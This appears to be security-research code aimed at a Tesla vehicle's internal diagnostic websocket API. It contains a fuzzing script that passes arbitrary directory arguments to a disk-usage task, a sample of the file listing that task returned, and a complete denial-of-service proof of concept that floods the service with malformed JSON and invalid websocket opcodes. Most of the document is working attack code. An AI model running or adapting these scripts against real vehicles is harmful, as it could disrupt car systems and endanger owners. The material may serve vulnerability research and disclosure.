.
			.
			.
{
  "title": "DAS Capture Image",
  "description": "",
  "dependencies": "",
  "cancelable": true,
  "valid_states": [
    "StandStill|Parked"
  ],
  "post_fusing_allowed": false,
  "message": {
    "command": "execute",
    "args": {
      "name": "Common/tasks/PROC_DAS_X_CAPTURE-IMAGE"
    }
  },
  "name": "PROC_DAS_X_CAPTURE-IMAGE",
  "inputs": {}
},
			.
			.
			.

import asyncio
import websockets
import json
import time
import sys

async def webs_fuzz():
    async with websockets.connect("ws://192.168.90.100:8080/api/v1/products/current/messages/commands") as websocket:
        msg = {
                "command":"execute",
                "args":
                    {
                     "name":"Common/tasks/TEST-BASH_ICE_X_CHECK-DISK-USAGE",
                     "kw":
                        {
                            "directories":[sys.argv[1]],
                            "parameters":["-ahld100"]
                        }
                    },
                    "skip_vehicle_checks":"false",
                    "request_id":"tbx3-214b9a22-80cd-4b63-8ab8-19cdb923b151",
                    "token":"Something",
										"intermediate_certificate":"-----BEGIN CERTIFICATE-----\nredacted\n-----END CERTIFICATE-----\n"
                    }
                }

        msg = json.dumps(msg)
        await websocket.send(msg)
        time.sleep(0.5)
        res = await websocket.recv()
        res = await websocket.recv()
        print(json.dumps(json.loads(res), indent=4))

start_server = websockets.serve

asyncio.get_event_loop().run_until_complete(webs_fuzz())

"22.5K\t/usr/bin/vsomeipd",
"2.5K\t/usr/etc/vsomeip/vsomeip-local.json",
"1.5K\t/usr/etc/vsomeip/vsomeip-tcp-client.json",
"2.5K\t/usr/etc/vsomeip/vsomeip-tcp-service.json",
"1.5K\t/usr/etc/vsomeip/vsomeip-udp-client.json",
"2.5K\t/usr/etc/vsomeip/vsomeip-udp-service.json",
"1.5K\t/usr/etc/vsomeip/vsomeip.json",
"12.0K\t/usr/etc/vsomeip"
"35.5K\t/etc/vsomeip.json",
"0\t/usr/lib/libCommonAPI-SomeIP.so",
"2.7M\t/usr/lib/libCommonAPI-SomeIP.so.3.1.10",
"0\t/usr/lib/libvsomeip-cfg.so",
"0\t/usr/lib/libvsomeip-cfg.so.2",
"275.5K\t/usr/lib/libvsomeip-cfg.so.2.7.0",
"0\t/usr/lib/libvsomeip-diagnosis-plugin-mgu.so",
"0\t/usr/lib/libvsomeip-diagnosis-plugin-mgu.so.1",
"18.0K\t/usr/lib/libvsomeip-diagnosis-plugin-mgu.so.2.7.0-1.0.0",
"0\t/usr/lib/libvsomeip-sd.so",
"0\t/usr/lib/libvsomeip-sd.so.2",
"287.5K\t/usr/lib/libvsomeip-sd.so.2.7.0",
"0\t/usr/lib/libvsomeip.so",
"0\t/usr/lib/libvsomeip.so.2",
"1.4M\t/usr/lib/libvsomeip.so.2.7.0",

import json
import socket
import struct
import secrets
import select
from random import choice

def connect_to_server(host, dst_port):
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    client_socket.connect((host, dst_port))
    client_socket.settimeout(0.2)
    return client_socket

# Upgrade to Websocket Connection
def send_handshake_request(client_socket, host, path, port):
    request = "GET {} HTTP/1.1\r\n".format(path)
    request += "Host: {}:{}\r\n".format(host, port)
    request += "Connection: Upgrade\r\n"
    request += "Pragma: no-cache\r\n"
    request += "Cache-Control: no-cache\r\n"
    request += "User-Agent: no-cache\r\n"
    request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36\r\n"
    request += "Upgrade: websocket\r\n"
    request += "Origin: https://toolbox.tesla.com\r\n"
    request += "Sec-WebSocket-Version: 13\r\n"
    request += "Accept-Encoding: gzip, deflate\r\n"
    request += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
    request += "Sec-WebSocket-Key: uKtd9i3rUH7gk7s7RB0gyA==\r\n\r\n"
    
    client_socket.send(request.encode('utf-8'))

def receive_handshake_response(client_socket):
    response = ""

    while True:
        try:
            data = client_socket.recv(1024).decode('utf-8')
            response += data
            if "\r\n\r\n" in response:
                break
        except socket.timeout:
            break
    return response

def parse_handshake_response(response):
    lines = response.split("\r\n")
    status_line = lines[0]
    headers = {}

    for line in lines[1:]:
        if ": " in line:
            key, value = line.split(": ")
            headers[key] = value

    return status_line, headers

# Send data include Websocket header
def send_data(client_socket, data, opcode=1):
    mask = secrets.token_bytes(4)
    payload_length = len(data)

    if payload_length <= 125:
        header = struct.pack('>BB', 0x80 | opcode, 0x80 | payload_length)
    elif payload_length <= 65535:
        header = struct.pack('>BBH', 0x80 | opcode, 0x80 | 126, payload_length)
    else:
        header = struct.pack('>BBQ', 0x80 | opcode, 0x80 | 127, payload_length)

    masked_data = bytearray(data.encode('utf-8'))

    for i in range(payload_length):
        masked_data[i] ^= mask[i % 4]
    packet = header + mask + masked_data

    try:
        client_socket.send(packet)
        return True
    except ConnectionAbortedError:
        return False

def receive_all(client_socket):
    data = b''

    while True:
        try:
            chunk = client_socket.recv(1024)
            if not chunk:
                break
            data += chunk
        except TimeoutError:
            break

    return data

def receive_data(client_socket, bytes):
    data = b''

    try: 
        return client_socket.recv(bytes)
    except socket.timeout:
        return data

def run_websocket_client(host, dst_port, path):
    client_socket = connect_to_server(host, dst_port)
    send_handshake_request(client_socket, host, path, dst_port)
    response = receive_handshake_response(client_socket)
    parse_handshake_response(response)
    return client_socket

if __name__ == "__main__":
    host = "192.168.90.100"
    port = 8080
    path = "/api/v1/products/current/messages/commands"

    # ** You have to change the token value with valid one so that you can use `list_tasks` commands **
    # ** Simply copy the whole JSON data from developer tools and paste right next to task_list_msg variable **
    task_list_msg = {"command":"list_tasks","request_id":"tbx3-f0052249-23dd-4b2c-8281-c7b8e20469e0","token":"redacted","tokenv2":{"token":"redacted","intermediate_certificate":"-----BEGIN CERTIFICATE-----\nredacted\n-----END CERTIFICATE-----\n"}}
    task_list_msg = json.dumps(task_list_msg,separators=(",", ":"))
    # Any character that doesn't comply with the JSON syntax would be ok
    vuln_msg = "{"

    while True:
        task_list_msg_socket = run_websocket_client(host, port, path)
        vuln_msg_socket = run_websocket_client(host, port, path)

        # Sending an invalid JSON message
        send_data(vuln_msg_socket, vuln_msg) 
        # You'll get an error message
        receive_all(vuln_msg_socket)
        # Sending a `list_tasks` command request which respond with multiple websocket packets
        send_data(task_list_msg_socket, task_list_msg) 
        # Normal response of `list_tasks` request
        receive_all(task_list_msg_socket)
        # Normal response of `list_tasks` request also duplicated on vuln_msg_socket
        receive_all(vuln_msg_socket)
        inputs = [vuln_msg_socket]

        try:
            # You must send Websocket data with an opcode that server cannot handle properly at the same time as you are receiving websocket messages 
            while True:
                readable, writeable, exceptional = select.select(inputs, [], [])
                for s in readable:
                    try:
                        d = s.recv(512)
                        # Except for 0x1, 0x2, 0x9, and 0xA, other opcodes are not handled correctly
                        send_data(s, vuln_msg, choice([0x0, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0xb, 0xc, 0xd, 0xe, 0xf]))
                    except (ConnectionResetError, BrokenPipeError, ConnectionAbortedError):
                        print("DOS Succeeded!")
                        exit()
                    if d.decode("utf-8", errors="replace").find("hermes_status") > -1:
                        s.close()
                        break
        except KeyboardInterrupt: 
            exit()
        except ValueError:
            continue